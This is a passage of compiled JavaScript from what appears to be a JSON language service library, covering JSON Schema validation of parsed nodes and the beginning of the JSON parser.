        if (propertyValidationResult.enumValueMatch || !propertyValidationResult.hasProblems() && propertyValidationResult.propertiesMatches) {
            this.propertiesValueMatches++;
        }
        if (propertyValidationResult.enumValueMatch && propertyValidationResult.enumValues && propertyValidationResult.enumValues.length === 1) {
            this.primaryValueMatches++;
        }
    };
    ValidationResult.prototype.compare = function (other) {
        var hasProblems = this.hasProblems();
        if (hasProblems !== other.hasProblems()) {
            return hasProblems ? -1 : 1;
        }
        if (this.enumValueMatch !== other.enumValueMatch) {
            return other.enumValueMatch ? -1 : 1;
        }
        if (this.primaryValueMatches !== other.primaryValueMatches) {
            return this.primaryValueMatches - other.primaryValueMatches;
        }
        if (this.propertiesValueMatches !== other.propertiesValueMatches) {
            return this.propertiesValueMatches - other.propertiesValueMatches;
        }
        return this.propertiesMatches - other.propertiesMatches;
    };
    return ValidationResult;
}());
export { ValidationResult };
export function newJSONDocument(root, diagnostics) {
    if (diagnostics === void 0) { diagnostics = []; }
    return new JSONDocument(root, diagnostics, []);
}
export function getNodeValue(node) {
    return Json.getNodeValue(node);
}
export function getNodePath(node) {
    return Json.getNodePath(node);
}
export function contains(node, offset, includeRightBound) {
    if (includeRightBound === void 0) { includeRightBound = false; }
    return offset >= node.offset && offset < (node.offset + node.length) || includeRightBound && offset === (node.offset + node.length);
}
var JSONDocument = /** @class */ (function () {
    function JSONDocument(root, syntaxErrors, comments) {
        if (syntaxErrors === void 0) { syntaxErrors = []; }
        if (comments === void 0) { comments = []; }
        this.root = root;
        this.syntaxErrors = syntaxErrors;
        this.comments = comments;
    }
    JSONDocument.prototype.getNodeFromOffset = function (offset, includeRightBound) {
        if (includeRightBound === void 0) { includeRightBound = false; }
        if (this.root) {
            return Json.findNodeAtOffset(this.root, offset, includeRightBound);
        }
        return void 0;
    };
    JSONDocument.prototype.visit = function (visitor) {
        if (this.root) {
            var doVisit_1 = function (node) {
                var ctn = visitor(node);
                var children = node.children;
                if (Array.isArray(children)) {
                    for (var i = 0; i < children.length && ctn; i++) {
                        ctn = doVisit_1(children[i]);
                    }
                }
                return ctn;
            };
            doVisit_1(this.root);
        }
    };
    JSONDocument.prototype.validate = function (textDocument, schema) {
        if (this.root && schema) {
            var validationResult = new ValidationResult();
            validate(this.root, schema, validationResult, NoOpSchemaCollector.instance);
            return validationResult.problems.map(function (p) {
                var range = Range.create(textDocument.positionAt(p.location.offset), textDocument.positionAt(p.location.offset + p.location.length));
                return Diagnostic.create(range, p.message, p.severity, p.code);
            });
        }
        return null;
    };
    JSONDocument.prototype.getMatchingSchemas = function (schema, focusOffset, exclude) {
        if (focusOffset === void 0) { focusOffset = -1; }
        if (exclude === void 0) { exclude = null; }
        var matchingSchemas = new SchemaCollector(focusOffset, exclude);
        if (this.root && schema) {
            validate(this.root, schema, new ValidationResult(), matchingSchemas);
        }
        return matchingSchemas.schemas;
    };
    return JSONDocument;
}());
export { JSONDocument };
function validate(node, schema, validationResult, matchingSchemas) {
    if (!node || !matchingSchemas.include(node)) {
        return;
    }
    switch (node.type) {
        case 'object':
            _validateObjectNode(node, schema, validationResult, matchingSchemas);
            break;
        case 'array':
            _validateArrayNode(node, schema, validationResult, matchingSchemas);
            break;
        case 'string':
            _validateStringNode(node, schema, validationResult, matchingSchemas);
            break;
        case 'number':
            _validateNumberNode(node, schema, validationResult, matchingSchemas);
            break;
        case 'property':
            return validate(node.valueNode, schema, validationResult, matchingSchemas);
    }
    _validateNode();
    matchingSchemas.add({ node: node, schema: schema });
    function _validateNode() {
        function matchesType(type) {
            return node.type === type || (type === 'integer' && node.type === 'number' && node.isInteger);
        }
        if (Array.isArray(schema.type)) {
            if (!schema.type.some(matchesType)) {
                validationResult.problems.push({
                    location: { offset: node.offset, length: node.length },
                    severity: DiagnosticSeverity.Warning,
                    message: schema.errorMessage || localize('typeArrayMismatchWarning', 'Incorrect type. Expected one of {0}.', schema.type.join(', '))
                });
            }
        }
        else if (schema.type) {
            if (!matchesType(schema.type)) {
                validationResult.problems.push({
                    location: { offset: node.offset, length: node.length },
                    severity: DiagnosticSeverity.Warning,
                    message: schema.errorMessage || localize('typeMismatchWarning', 'Incorrect type. Expected "{0}".', schema.type)
                });
            }
        }
        if (Array.isArray(schema.allOf)) {
            for (var _i = 0, _a = schema.allOf; _i < _a.length; _i++) {
                var subSchemaRef = _a[_i];
                validate(node, asSchema(subSchemaRef), validationResult, matchingSchemas);
            }
        }
        var notSchema = asSchema(schema.not);
        if (notSchema) {
            var subValidationResult = new ValidationResult();
            var subMatchingSchemas = matchingSchemas.newSub();
            validate(node, notSchema, subValidationResult, subMatchingSchemas);
            if (!subValidationResult.hasProblems()) {
                validationResult.problems.push({
                    location: { offset: node.offset, length: node.length },
                    severity: DiagnosticSeverity.Warning,
                    message: localize('notSchemaWarning', "Matches a schema that is not allowed.")
                });
            }
            for (var _b = 0, _c = subMatchingSchemas.schemas; _b < _c.length; _b++) {
                var ms = _c[_b];
                ms.inverted = !ms.inverted;
                matchingSchemas.add(ms);
            }
        }
        var testAlternatives = function (alternatives, maxOneMatch) {
            var matches = [];
            // remember the best match that is used for error messages
            var bestMatch = null;
            for (var _i = 0, alternatives_1 = alternatives; _i < alternatives_1.length; _i++) {
                var subSchemaRef = alternatives_1[_i];
                var subSchema = asSchema(subSchemaRef);
                var subValidationResult = new ValidationResult();
                var subMatchingSchemas = matchingSchemas.newSub();
                validate(node, subSchema, subValidationResult, subMatchingSchemas);
                if (!subValidationResult.hasProblems()) {
                    matches.push(subSchema);
                }
                if (!bestMatch) {
                    bestMatch = { schema: subSchema, validationResult: subValidationResult, matchingSchemas: subMatchingSchemas };
                }
                else {
                    if (!maxOneMatch && !subValidationResult.hasProblems() && !bestMatch.validationResult.hasProblems()) {
                        // no errors, both are equally good matches
                        bestMatch.matchingSchemas.merge(subMatchingSchemas);
                        bestMatch.validationResult.propertiesMatches += subValidationResult.propertiesMatches;
                        bestMatch.validationResult.propertiesValueMatches += subValidationResult.propertiesValueMatches;
                    }
                    else {
                        var compareResult = subValidationResult.compare(bestMatch.validationResult);
                        if (compareResult > 0) {
                            // our node is the best matching so far
                            bestMatch = { schema: subSchema, validationResult: subValidationResult, matchingSchemas: subMatchingSchemas };
                        }
                        else if (compareResult === 0) {
                            // there's already a best matching but we are as good
                            bestMatch.matchingSchemas.merge(subMatchingSchemas);
                            bestMatch.validationResult.mergeEnumValues(subValidationResult);
                        }
                    }
                }
            }
            if (matches.length > 1 && maxOneMatch) {
                validationResult.problems.push({
                    location: { offset: node.offset, length: 1 },
                    severity: DiagnosticSeverity.Warning,
                    message: localize('oneOfWarning', "Matches multiple schemas when only one must validate.")
                });
            }
            if (bestMatch !== null) {
                validationResult.merge(bestMatch.validationResult);
                validationResult.propertiesMatches += bestMatch.validationResult.propertiesMatches;
                validationResult.propertiesValueMatches += bestMatch.validationResult.propertiesValueMatches;
                matchingSchemas.merge(bestMatch.matchingSchemas);
            }
            return matches.length;
        };
        if (Array.isArray(schema.anyOf)) {
            testAlternatives(schema.anyOf, false);
        }
        if (Array.isArray(schema.oneOf)) {
            testAlternatives(schema.oneOf, true);
        }
        var testBranch = function (schema) {
            var subValidationResult = new ValidationResult();
            var subMatchingSchemas = matchingSchemas.newSub();
            validate(node, asSchema(schema), subValidationResult, subMatchingSchemas);
            validationResult.merge(subValidationResult);
            validationResult.propertiesMatches += subValidationResult.propertiesMatches;
            validationResult.propertiesValueMatches += subValidationResult.propertiesValueMatches;
            matchingSchemas.merge(subMatchingSchemas);
        };
        var testCondition = function (ifSchema, thenSchema, elseSchema) {
            var subSchema = asSchema(ifSchema);
            var subValidationResult = new ValidationResult();
            var subMatchingSchemas = matchingSchemas.newSub();
            validate(node, subSchema, subValidationResult, subMatchingSchemas);
            matchingSchemas.merge(subMatchingSchemas);
            if (!subValidationResult.hasProblems()) {
                if (thenSchema) {
                    testBranch(thenSchema);
                }
            }
            else if (elseSchema) {
                testBranch(elseSchema);
            }
        };
        var ifSchema = asSchema(schema.if);
        if (ifSchema) {
            testCondition(ifSchema, asSchema(schema.then), asSchema(schema.else));
        }
        if (Array.isArray(schema.enum)) {
            var val = getNodeValue(node);
            var enumValueMatch = false;
            for (var _d = 0, _e = schema.enum; _d < _e.length; _d++) {
                var e = _e[_d];
                if (equals(val, e)) {
                    enumValueMatch = true;
                    break;
                }
            }
            validationResult.enumValues = schema.enum;
            validationResult.enumValueMatch = enumValueMatch;
            if (!enumValueMatch) {
                validationResult.problems.push({
                    location: { offset: node.offset, length: node.length },
                    severity: DiagnosticSeverity.Warning,
                    code: ErrorCode.EnumValueMismatch,
                    message: schema.errorMessage || localize('enumWarning', 'Value is not accepted. Valid values: {0}.', schema.enum.map(function (v) { return JSON.stringify(v); }).join(', '))
                });
            }
        }
        if (isDefined(schema.const)) {
            var val = getNodeValue(node);
            if (!equals(val, schema.const)) {
                validationResult.problems.push({
                    location: { offset: node.offset, length: node.length },
                    severity: DiagnosticSeverity.Warning,
                    code: ErrorCode.EnumValueMismatch,
                    message: schema.errorMessage || localize('constWarning', 'Value must be {0}.', JSON.stringify(schema.const))
                });
                validationResult.enumValueMatch = false;
            }
            else {
                validationResult.enumValueMatch = true;
            }
            validationResult.enumValues = [schema.const];
        }
        if (schema.deprecationMessage && node.parent) {
            validationResult.problems.push({
                location: { offset: node.parent.offset, length: node.parent.length },
                severity: DiagnosticSeverity.Warning,
                message: schema.deprecationMessage
            });
        }
    }
    function _validateNumberNode(node, schema, validationResult, matchingSchemas) {
        var val = node.value;
        if (isNumber(schema.multipleOf)) {
            if (val % schema.multipleOf !== 0) {
                validationResult.problems.push({
                    location: { offset: node.offset, length: node.length },
                    severity: DiagnosticSeverity.Warning,
                    message: localize('multipleOfWarning', 'Value is not divisible by {0}.', schema.multipleOf)
                });
            }
        }
        function getExclusiveLimit(limit, exclusive) {
            if (isNumber(exclusive)) {
                return exclusive;
            }
            if (isBoolean(exclusive) && exclusive) {
                return limit;
            }
            return void 0;
        }
        function getLimit(limit, exclusive) {
            if (!isBoolean(exclusive) || !exclusive) {
                return limit;
            }
            return void 0;
        }
        var exclusiveMinimum = getExclusiveLimit(schema.minimum, schema.exclusiveMinimum);
        if (isNumber(exclusiveMinimum) && val <= exclusiveMinimum) {
            validationResult.problems.push({
                location: { offset: node.offset, length: node.length },
                severity: DiagnosticSeverity.Warning,
                message: localize('exclusiveMinimumWarning', 'Value is below the exclusive minimum of {0}.', exclusiveMinimum)
            });
        }
        var exclusiveMaximum = getExclusiveLimit(schema.maximum, schema.exclusiveMaximum);
        if (isNumber(exclusiveMaximum) && val >= exclusiveMaximum) {
            validationResult.problems.push({
                location: { offset: node.offset, length: node.length },
                severity: DiagnosticSeverity.Warning,
                message: localize('exclusiveMaximumWarning', 'Value is above the exclusive maximum of {0}.', exclusiveMaximum)
            });
        }
        var minimum = getLimit(schema.minimum, schema.exclusiveMinimum);
        if (isNumber(minimum) && val < minimum) {
            validationResult.problems.push({
                location: { offset: node.offset, length: node.length },
                severity: DiagnosticSeverity.Warning,
                message: localize('minimumWarning', 'Value is below the minimum of {0}.', minimum)
            });
        }
        var maximum = getLimit(schema.maximum, schema.exclusiveMaximum);
        if (isNumber(maximum) && val > maximum) {
            validationResult.problems.push({
                location: { offset: node.offset, length: node.length },
                severity: DiagnosticSeverity.Warning,
                message: localize('maximumWarning', 'Value is above the maximum of {0}.', maximum)
            });
        }
    }
    function _validateStringNode(node, schema, validationResult, matchingSchemas) {
        if (isNumber(schema.minLength) && node.value.length < schema.minLength) {
            validationResult.problems.push({
                location: { offset: node.offset, length: node.length },
                severity: DiagnosticSeverity.Warning,
                message: localize('minLengthWarning', 'String is shorter than the minimum length of {0}.', schema.minLength)
            });
        }
        if (isNumber(schema.maxLength) && node.value.length > schema.maxLength) {
            validationResult.problems.push({
                location: { offset: node.offset, length: node.length },
                severity: DiagnosticSeverity.Warning,
                message: localize('maxLengthWarning', 'String is longer than the maximum length of {0}.', schema.maxLength)
            });
        }
        if (isString(schema.pattern)) {
            var regex = new RegExp(schema.pattern);
            if (!regex.test(node.value)) {
                validationResult.problems.push({
                    location: { offset: node.offset, length: node.length },
                    severity: DiagnosticSeverity.Warning,
                    message: schema.patternErrorMessage || schema.errorMessage || localize('patternWarning', 'String does not match the pattern of "{0}".', schema.pattern)
                });
            }
        }
        if (schema.format) {
            switch (schema.format) {
                case 'uri':
                case 'uri-reference':
                    {
                        var errorMessage = void 0;
                        if (!node.value) {
                            errorMessage = localize('uriEmpty', 'URI expected.');
                        }
                        else {
                            var match = /^(([^:/?#]+?):)?(\/\/([^/?#]*))?([^?#]*)(\?([^#]*))?(#(.*))?/.exec(node.value);
                            if (!match) {
                                errorMessage = localize('uriMissing', 'URI is expected.');
                            }
                            else if (!match[2] && schema.format === 'uri') {
                                errorMessage = localize('uriSchemeMissing', 'URI with a scheme is expected.');
                            }
                        }
                        if (errorMessage) {
                            validationResult.problems.push({
                                location: { offset: node.offset, length: node.length },
                                severity: DiagnosticSeverity.Warning,
                                message: schema.patternErrorMessage || schema.errorMessage || localize('uriFormatWarning', 'String is not a URI: {0}', errorMessage)
                            });
                        }
                    }
                    break;
                case 'color-hex':
                case 'date-time':
                case 'date':
                case 'time':
                case 'email':
                    var format = formats[schema.format];
                    if (!node.value || !format.pattern.exec(node.value)) {
                        validationResult.problems.push({
                            location: { offset: node.offset, length: node.length },
                            severity: DiagnosticSeverity.Warning,
                            message: schema.patternErrorMessage || schema.errorMessage || format.errorMessage
                        });
                    }
                default:
            }
        }
    }
    function _validateArrayNode(node, schema, validationResult, matchingSchemas) {
        if (Array.isArray(schema.items)) {
            var subSchemas = schema.items;
            for (var index = 0; index < subSchemas.length; index++) {
                var subSchemaRef = subSchemas[index];
                var subSchema = asSchema(subSchemaRef);
                var itemValidationResult = new ValidationResult();
                var item = node.items[index];
                if (item) {
                    validate(item, subSchema, itemValidationResult, matchingSchemas);
                    validationResult.mergePropertyMatch(itemValidationResult);
                }
                else if (node.items.length >= subSchemas.length) {
                    validationResult.propertiesValueMatches++;
                }
            }
            if (node.items.length > subSchemas.length) {
                if (typeof schema.additionalItems === 'object') {
                    for (var i = subSchemas.length; i < node.items.length; i++) {
                        var itemValidationResult = new ValidationResult();
                        validate(node.items[i], schema.additionalItems, itemValidationResult, matchingSchemas);
                        validationResult.mergePropertyMatch(itemValidationResult);
                    }
                }
                else if (schema.additionalItems === false) {
                    validationResult.problems.push({
                        location: { offset: node.offset, length: node.length },
                        severity: DiagnosticSeverity.Warning,
                        message: localize('additionalItemsWarning', 'Array has too many items according to schema. Expected {0} or fewer.', subSchemas.length)
                    });
                }
            }
        }
        else {
            var itemSchema = asSchema(schema.items);
            if (itemSchema) {
                for (var _i = 0, _a = node.items; _i < _a.length; _i++) {
                    var item = _a[_i];
                    var itemValidationResult = new ValidationResult();
                    validate(item, itemSchema, itemValidationResult, matchingSchemas);
                    validationResult.mergePropertyMatch(itemValidationResult);
                }
            }
        }
        var containsSchema = asSchema(schema.contains);
        if (containsSchema) {
            var doesContain = node.items.some(function (item) {
                var itemValidationResult = new ValidationResult();
                validate(item, containsSchema, itemValidationResult, NoOpSchemaCollector.instance);
                return !itemValidationResult.hasProblems();
            });
            if (!doesContain) {
                validationResult.problems.push({
                    location: { offset: node.offset, length: node.length },
                    severity: DiagnosticSeverity.Warning,
                    message: schema.errorMessage || localize('requiredItemMissingWarning', 'Array does not contain required item.')
                });
            }
        }
        if (isNumber(schema.minItems) && node.items.length < schema.minItems) {
            validationResult.problems.push({
                location: { offset: node.offset, length: node.length },
                severity: DiagnosticSeverity.Warning,
                message: localize('minItemsWarning', 'Array has too few items. Expected {0} or more.', schema.minItems)
            });
        }
        if (isNumber(schema.maxItems) && node.items.length > schema.maxItems) {
            validationResult.problems.push({
                location: { offset: node.offset, length: node.length },
                severity: DiagnosticSeverity.Warning,
                message: localize('maxItemsWarning', 'Array has too many items. Expected {0} or fewer.', schema.maxItems)
            });
        }
        if (schema.uniqueItems === true) {
            var values_1 = getNodeValue(node);
            var duplicates = values_1.some(function (value, index) {
                return index !== values_1.lastIndexOf(value);
            });
            if (duplicates) {
                validationResult.problems.push({
                    location: { offset: node.offset, length: node.length },
                    severity: DiagnosticSeverity.Warning,
                    message: localize('uniqueItemsWarning', 'Array has duplicate items.')
                });
            }
        }
    }
    function _validateObjectNode(node, schema, validationResult, matchingSchemas) {
        var seenKeys = Object.create(null);
        var unprocessedProperties = [];
        for (var _i = 0, _a = node.properties; _i < _a.length; _i++) {
            var propertyNode = _a[_i];
            var key = propertyNode.keyNode.value;
            seenKeys[key] = propertyNode.valueNode;
            unprocessedProperties.push(key);
        }
        if (Array.isArray(schema.required)) {
            for (var _b = 0, _c = schema.required; _b < _c.length; _b++) {
                var propertyName = _c[_b];
                if (!seenKeys[propertyName]) {
                    var keyNode = node.parent && node.parent.type === 'property' && node.parent.keyNode;
                    var location = keyNode ? { offset: keyNode.offset, length: keyNode.length } : { offset: node.offset, length: 1 };
                    validationResult.problems.push({
                        location: location,
                        severity: DiagnosticSeverity.Warning,
                        message: localize('MissingRequiredPropWarning', 'Missing property "{0}".', propertyName)
                    });
                }
            }
        }
        var propertyProcessed = function (prop) {
            var index = unprocessedProperties.indexOf(prop);
            while (index >= 0) {
                unprocessedProperties.splice(index, 1);
                index = unprocessedProperties.indexOf(prop);
            }
        };
        if (schema.properties) {
            for (var _d = 0, _e = Object.keys(schema.properties); _d < _e.length; _d++) {
                var propertyName = _e[_d];
                propertyProcessed(propertyName);
                var propertySchema = schema.properties[propertyName];
                var child = seenKeys[propertyName];
                if (child) {
                    if (isBoolean(propertySchema)) {
                        if (!propertySchema) {
                            var propertyNode = child.parent;
                            validationResult.problems.push({
                                location: { offset: propertyNode.keyNode.offset, length: propertyNode.keyNode.length },
                                severity: DiagnosticSeverity.Warning,
                                message: schema.errorMessage || localize('DisallowedExtraPropWarning', 'Property {0} is not allowed.', propertyName)
                            });
                        }
                        else {
                            validationResult.propertiesMatches++;
                            validationResult.propertiesValueMatches++;
                        }
                    }
                    else {
                        var propertyValidationResult = new ValidationResult();
                        validate(child, propertySchema, propertyValidationResult, matchingSchemas);
                        validationResult.mergePropertyMatch(propertyValidationResult);
                    }
                }
            }
        }
        if (schema.patternProperties) {
            for (var _f = 0, _g = Object.keys(schema.patternProperties); _f < _g.length; _f++) {
                var propertyPattern = _g[_f];
                var regex = new RegExp(propertyPattern);
                for (var _h = 0, _j = unprocessedProperties.slice(0); _h < _j.length; _h++) {
                    var propertyName = _j[_h];
                    if (regex.test(propertyName)) {
                        propertyProcessed(propertyName);
                        var child = seenKeys[propertyName];
                        if (child) {
                            var propertySchema = schema.patternProperties[propertyPattern];
                            if (isBoolean(propertySchema)) {
                                if (!propertySchema) {
                                    var propertyNode = child.parent;
                                    validationResult.problems.push({
                                        location: { offset: propertyNode.keyNode.offset, length: propertyNode.keyNode.length },
                                        severity: DiagnosticSeverity.Warning,
                                        message: schema.errorMessage || localize('DisallowedExtraPropWarning', 'Property {0} is not allowed.', propertyName)
                                    });
                                }
                                else {
                                    validationResult.propertiesMatches++;
                                    validationResult.propertiesValueMatches++;
                                }
                            }
                            else {
                                var propertyValidationResult = new ValidationResult();
                                validate(child, propertySchema, propertyValidationResult, matchingSchemas);
                                validationResult.mergePropertyMatch(propertyValidationResult);
                            }
                        }
                    }
                }
            }
        }
        if (typeof schema.additionalProperties === 'object') {
            for (var _k = 0, unprocessedProperties_1 = unprocessedProperties; _k < unprocessedProperties_1.length; _k++) {
                var propertyName = unprocessedProperties_1[_k];
                var child = seenKeys[propertyName];
                if (child) {
                    var propertyValidationResult = new ValidationResult();
                    validate(child, schema.additionalProperties, propertyValidationResult, matchingSchemas);
                    validationResult.mergePropertyMatch(propertyValidationResult);
                }
            }
        }
        else if (schema.additionalProperties === false) {
            if (unprocessedProperties.length > 0) {
                for (var _l = 0, unprocessedProperties_2 = unprocessedProperties; _l < unprocessedProperties_2.length; _l++) {
                    var propertyName = unprocessedProperties_2[_l];
                    var child = seenKeys[propertyName];
                    if (child) {
                        var propertyNode = child.parent;
                        validationResult.problems.push({
                            location: { offset: propertyNode.keyNode.offset, length: propertyNode.keyNode.length },
                            severity: DiagnosticSeverity.Warning,
                            message: schema.errorMessage || localize('DisallowedExtraPropWarning', 'Property {0} is not allowed.', propertyName)
                        });
                    }
                }
            }
        }
        if (isNumber(schema.maxProperties)) {
            if (node.properties.length > schema.maxProperties) {
                validationResult.problems.push({
                    location: { offset: node.offset, length: node.length },
                    severity: DiagnosticSeverity.Warning,
                    message: localize('MaxPropWarning', 'Object has more properties than limit of {0}.', schema.maxProperties)
                });
            }
        }
        if (isNumber(schema.minProperties)) {
            if (node.properties.length < schema.minProperties) {
                validationResult.problems.push({
                    location: { offset: node.offset, length: node.length },
                    severity: DiagnosticSeverity.Warning,
                    message: localize('MinPropWarning', 'Object has fewer properties than the required number of {0}', schema.minProperties)
                });
            }
        }
        if (schema.dependencies) {
            for (var _m = 0, _o = Object.keys(schema.dependencies); _m < _o.length; _m++) {
                var key = _o[_m];
                var prop = seenKeys[key];
                if (prop) {
                    var propertyDep = schema.dependencies[key];
                    if (Array.isArray(propertyDep)) {
                        for (var _p = 0, propertyDep_1 = propertyDep; _p < propertyDep_1.length; _p++) {
                            var requiredProp = propertyDep_1[_p];
                            if (!seenKeys[requiredProp]) {
                                validationResult.problems.push({
                                    location: { offset: node.offset, length: node.length },
                                    severity: DiagnosticSeverity.Warning,
                                    message: localize('RequiredDependentPropWarning', 'Object is missing property {0} required by property {1}.', requiredProp, key)
                                });
                            }
                            else {
                                validationResult.propertiesValueMatches++;
                            }
                        }
                    }
                    else {
                        var propertySchema = asSchema(propertyDep);
                        if (propertySchema) {
                            var propertyValidationResult = new ValidationResult();
                            validate(node, propertySchema, propertyValidationResult, matchingSchemas);
                            validationResult.mergePropertyMatch(propertyValidationResult);
                        }
                    }
                }
            }
        }
        var propertyNames = asSchema(schema.propertyNames);
        if (propertyNames) {
            for (var _q = 0, _r = node.properties; _q < _r.length; _q++) {
                var f = _r[_q];
                var key = f.keyNode;
                if (key) {
                    validate(key, propertyNames, validationResult, NoOpSchemaCollector.instance);
                }
            }
        }
    }
}
export function parse(textDocument, config) {
    var problems = [];
    var lastProblemOffset = -1;
    var text = textDocument.getText();
    var scanner = Json.createScanner(text, false);
    var commentRanges = config && config.collectComments ? [] : void 0;
    function _scanNext() {
        while (true) {
            var token_1 = scanner.scan();
            _checkScanError();
            switch (token_1) {
                case 12 /* LineCommentTrivia */:
                case 13 /* BlockCommentTrivia */:
                    if (Array.isArray(commentRanges)) {
                        commentRanges.push(Range.create(textDocument.positionAt(scanner.getTokenOffset()), textDocument.positionAt(scanner.getTokenOffset() + scanner.getTokenLength())));
                    }
                    break;
                case 15 /* Trivia */:
                case 14 /* LineBreakTrivia */:
                    break;
                default:
                    return token_1;
            }
        }
    }
    function _accept(token) {
        if (scanner.getToken() === token) {
            _scanNext();
            return true;
        }
        return false;
    }
    function _errorAtRange(message, code, startOffset, endOffset, severity) {
        if (severity === void 0) { severity = DiagnosticSeverity.Error; }
        if (problems.length === 0 || startOffset !== lastProblemOffset) {
            var range = Range.create(textDocument.positionAt(startOffset), textDocument.positionAt(endOffset));
            problems.push(Diagnostic.create(range, message, severity, code, textDocument.languageId));
            lastProblemOffset = startOffset;
        }
    }
    function _error(message, code, node, skipUntilAfter, skipUntil) {
        if (node === void 0) { node = null; }
        if (skipUntilAfter === void 0) { skipUntilAfter = []; }
        if (skipUntil === void 0) { skipUntil = []; }
        var start = scanner.getTokenOffset();
        var end = scanner.getTokenOffset() + scanner.getTokenLength();
        if (start === end && start > 0) {
            start--;
            while (start > 0 && /\s/.test(text.charAt(start))) {
                start--;
            }
            end = start + 1;
        }
        _errorAtRange(message, code, start, end);
        if (node) {
            _finalize(node, false);
        }
        if (skipUntilAfter.length + skipUntil.length > 0) {
            var token_2 = scanner.getToken();
            while (token_2 !== 17 /* EOF */) {
                if (skipUntilAfter.indexOf(token_2) !== -1) {
                    _scanNext();
                    break;
                }
                else if (skipUntil.indexOf(token_2) !== -1) {
                    break;
                }
                token_2 = _scanNext();
            }
        }
        return node;
    }
    function _checkScanError() {
        switch (scanner.getTokenError()) {
            case 4 /* InvalidUnicode */:
                _error(localize('InvalidUnicode', 'Invalid unicode sequence in string.'), ErrorCode.InvalidUnicode);
                return true;
            case 5 /* InvalidEscapeCharacter */:
                _error(localize('InvalidEscapeCharacter', 'Invalid escape character in string.'), ErrorCode.InvalidEscapeCharacter);
                return true;
            case 3 /* UnexpectedEndOfNumber */:
                _error(localize('UnexpectedEndOfNumber', 'Unexpected end of number.'), ErrorCode.UnexpectedEndOfNumber);
                return true;
            case 1 /* UnexpectedEndOfComment */:
                _error(localize('UnexpectedEndOfComment', 'Unexpected end of comment.'), ErrorCode.UnexpectedEndOfComment);
                return true;
            case 2 /* UnexpectedEndOfString */:
                _error(localize('UnexpectedEndOfString', 'Unexpected end of string.'), ErrorCode.UnexpectedEndOfString);
                return true;
            case 6 /* InvalidCharacter */:
                _error(localize('InvalidCharacter', 'Invalid characters in string. Control characters must be escaped.'), ErrorCode.InvalidCharacter);
                return true;
        }
        return false;
    }
    function _finalize(node, scanNext) {
        node.length = scanner.getTokenOffset() + scanner.getTokenLength() - node.offset;
        if (scanNext) {
            _scanNext();
        }
        return node;
    }
    function _parseArray(parent) {
        if (scanner.getToken() !== 3 /* OpenBracketToken */) {
            return null;
        }
        var node = new ArrayASTNodeImpl(parent, scanner.getTokenOffset());
        _scanNext(); // consume OpenBracketToken
        var count = 0;
        var needsComma = false;
        while (scanner.getToken() !== 4 /* CloseBracketToken */ && scanner.getToken() !== 17 /* EOF */) {
            if (scanner.getToken() === 5 /* CommaToken */) {
                if (!needsComma) {
                    _error(localize('ValueExpected', 'Value expected'), ErrorCode.ValueExpected);
                }
                var commaOffset = scanner.getTokenOffset();
                _scanNext(); // consume comma
                if (scanner.getToken() === 4 /* CloseBracketToken */) {
                    if (needsComma) {
                        _errorAtRange(localize('TrailingComma', 'Trailing comma'), ErrorCode.TrailingComma, commaOffset, commaOffset + 1);
                    }
                    continue;
                }
            }
            else if (needsComma) {
                _error(localize('ExpectedComma', 'Expected comma'), ErrorCode.CommaExpected);
            }
            var item = _parseValue(node, count++);
            if (!item) {
                _error(localize('PropertyExpected', 'Value expected'), ErrorCode.ValueExpected, null, [], [4 /* CloseBracketToken */, 5 /* CommaToken */]);
            }
            else {
                node.items.push(item);
            }
            needsComma = true;
        }
        if (scanner.getToken() !== 4 /* CloseBracketToken */) {
            return _error(localize('ExpectedCloseBracket', 'Expected comma or closing bracket'), ErrorCode.CommaOrCloseBacketExpected, node);
        }
        return _finalize(node, true);
    }
    function _parseProperty(parent, keysSeen) {
        var node = new PropertyASTNodeImpl(parent, scanner.getTokenOffset());
        var key = _parseString(node);
        if (!key) {
            if (scanner.getToken() === 16 /* Unknown */) {
                // give a more helpful error message
                _error(localize('DoubleQuotesExpected', 'Property keys must be doublequoted'), ErrorCode.Undefined);
                var keyNode = new StringASTNodeImpl(node, scanner.getTokenOffset(), scanner.getTokenLength());
                keyNode.value = scanner.getTokenValue();
                key = keyNode;
                _scanNext(); // consume Unknown
            }
            else {
                return null;
            }
        }
        node.keyNode = key;
        var seen = keysSeen[key.value];
        if (seen) {
            _errorAtRange(localize('DuplicateKeyWarning', "Duplicate object key"), ErrorCode.DuplicateKey, node.keyNode.offset, node.keyNode.offset + node.keyNode.length, DiagnosticSeverity.Warning);
            if (typeof seen === 'object') {
                _errorAtRange(localize('DuplicateKeyWarning', "Duplicate object key"), ErrorCode.DuplicateKey, seen.keyNode.offset, seen.keyNode.offset + seen.keyNode.length, DiagnosticSeverity.Warning);
            }
            keysSeen[key.value] = true; // if the same key is duplicate again, avoid duplicate error reporting
        }
        else {
            keysSeen[key.value] = node;
        }
        if (scanner.getToken() === 6 /* ColonToken */) {
            node.colonOffset = scanner.getTokenOffset();
            _scanNext(); // consume ColonToken
        }
        else {
            _error(localize('ColonExpected', 'Colon expected'), ErrorCode.ColonExpected);
            if (scanner.getToken() === 10 /* StringLiteral */ && textDocument.positionAt(key.offset + key.length).line < textDocument.positionAt(scanner.getTokenOffset()).line) {
                node.length = key.length;
                return node;
            }
        }
        var value = _parseValue(node, key.value);
        if (!value) {
            return _error(localize('ValueExpected', 'Value expected'), ErrorCode.ValueExpected, node, [], [2 /* CloseBraceToken */, 5 /* CommaToken */]);
        }
        node.valueNode = value;
        node.length = value.offset + value.length - node.offset;
        return node;
    }
    function _parseObject(parent) {
        if (scanner.getToken() !== 1 /* OpenBraceToken */) {
            return null;
        }
        var node = new ObjectASTNodeImpl(parent, scanner.getTokenOffset());
        var keysSeen = Object.create(null);
        _scanNext(); // consume OpenBraceToken
        var needsComma = false;
        while (scanner.getToken() !== 2 /* CloseBraceToken */ && scanner.getToken() !== 17 /* EOF */) {
            if (scanner.getToken() === 5 /* CommaToken */) {
                if (!needsComma) {
                    _error(localize('PropertyExpected', 'Property expected'), ErrorCode.PropertyExpected);
                }
                var commaOffset = scanner.getTokenOffset();
                _scanNext(); // consume comma
                if (scanner.getToken() === 2 /* CloseBraceToken */) {
                    if (needsComma) {
                        _errorAtRange(localize('TrailingComma', 'Trailing comma'), ErrorCode.TrailingComma, commaOffset, commaOffset + 1);
                    }
                    continue;
                }
            }
            else if (needsComma) {
                _error(localize('ExpectedComma', 'Expected comma'), ErrorCode.CommaExpected);
            }
            var property = _parseProperty(node, keysSeen);
            if (!property) {
                _error(localize('PropertyExpected', 'Property expected'), ErrorCode.PropertyExpected, null, [], [2 /* CloseBraceToken */, 5 /* CommaToken */]);
            }
            else {
                node.properties.push(property);
            }
            needsComma = true;
        }
